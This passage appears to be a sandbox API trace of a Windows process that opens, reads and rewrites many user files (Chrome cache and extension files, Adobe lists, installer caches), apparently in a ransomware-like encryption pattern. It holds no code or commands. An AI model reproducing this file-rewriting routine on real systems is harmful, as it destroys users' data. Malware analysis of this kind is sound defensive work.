(in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x25000 [0054.199] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.199] ReleaseMutex (hMutex=0x128) returned 1 [0054.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0054.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0054.199] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.204] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x24000 [0054.204] ReadFile (in: hFile=0x1bc, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.208] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x24000 [0054.209] WriteFile (in: hFile=0x1bc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.209] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0054.209] WriteFile (in: hFile=0x1bc, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.209] CloseHandle (hObject=0x1bc) returned 1 [0054.209] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.210] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.210] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xbee38 [0054.210] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.210] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.210] ReleaseMutex (hMutex=0x128) returned 1 [0054.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x64.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0054.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x64.exe", cchWideChar=17, lpMultiByteStr=0x1e7894c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VC_redist.x64.exe", lpUsedDefaultChar=0x0) returned 17 [0054.210] ReadFile (in: hFile=0x1bc, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.290] ReadFile (in: hFile=0x1bc, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.291] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbde38 [0055.291] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.293] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbde38 [0055.293] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.294] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0055.294] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0055.295] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.295] CloseHandle (hObject=0x1bc) returned 1 [0055.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.295] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.295] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x21cdb [0055.295] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.295] ReleaseMutex (hMutex=0x128) returned 1 [0055.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSysFnt10.lst", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSysFnt10.lst", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSysFnt10.lst", lpUsedDefaultChar=0x0) returned 17 [0055.296] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0055.298] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x20cdb [0055.298] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.299] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x20cdb [0055.299] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.300] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0055.300] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0055.300] CloseHandle (hObject=0x1bc) returned 1 [0055.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.300] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.300] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3ad3 [0055.300] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.300] ReleaseMutex (hMutex=0x128) returned 1 [0055.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap.exe.manifest", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0055.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap.exe.manifest", cchWideChar=32, lpMultiByteStr=0x1eb20f4, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clickonce_bootstrap.exe.manifest", lpUsedDefaultChar=0x0) returned 32 [0055.300] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.301] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2ad3 [0055.301] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.301] CloseHandle (hObject=0x1bc) returned 1 [0055.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.301] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.301] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb000 [0055.301] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.301] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.301] ReleaseMutex (hMutex=0x128) returned 1 [0055.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_0", cchWideChar=6, lpMultiByteStr=0x1e6a90c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="data_0", lpUsedDefaultChar=0x0) returned 6 [0055.301] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0055.304] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0055.304] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.304] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0055.304] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.304] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0055.304] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0055.304] CloseHandle (hObject=0x1bc) returned 1 [0055.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.305] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.305] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x29 [0055.305] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.305] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.305] ReleaseMutex (hMutex=0x128) returned 1 [0055.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x1e630cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MANIFEST-000001", lpUsedDefaultChar=0x0) returned 15 [0055.305] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eb20f0, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb20f0*, lpNumberOfBytesRead=0x304f2bc*=0x29, lpOverlapped=0x0) returned 1 [0055.306] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.306] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0055.306] CloseHandle (hObject=0x1bc) returned 1 [0055.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.307] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.307] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5f [0055.307] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.307] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.307] ReleaseMutex (hMutex=0x128) returned 1 [0055.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0055.307] ReadFile (in: hFile=0x1bc, lpBuffer=0x1df5868, nNumberOfBytesToRead=0x5f, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5868*, lpNumberOfBytesRead=0x304f2bc*=0x5f, lpOverlapped=0x0) returned 1 [0055.308] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.308] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e7, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5e7, lpOverlapped=0x0) returned 1 [0055.308] CloseHandle (hObject=0x1bc) returned 1 [0055.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.309] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.309] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd7 [0055.309] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.309] ReleaseMutex (hMutex=0x128) returned 1 [0055.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.309] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xd7, lpOverlapped=0x0) returned 1 [0055.310] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.310] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x65f, lpOverlapped=0x0) returned 1 [0055.311] CloseHandle (hObject=0x1bc) returned 1 [0055.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.311] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.311] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd0 [0055.311] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.311] ReleaseMutex (hMutex=0x128) returned 1 [0055.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.312] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xd0, lpOverlapped=0x0) returned 1 [0055.312] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: 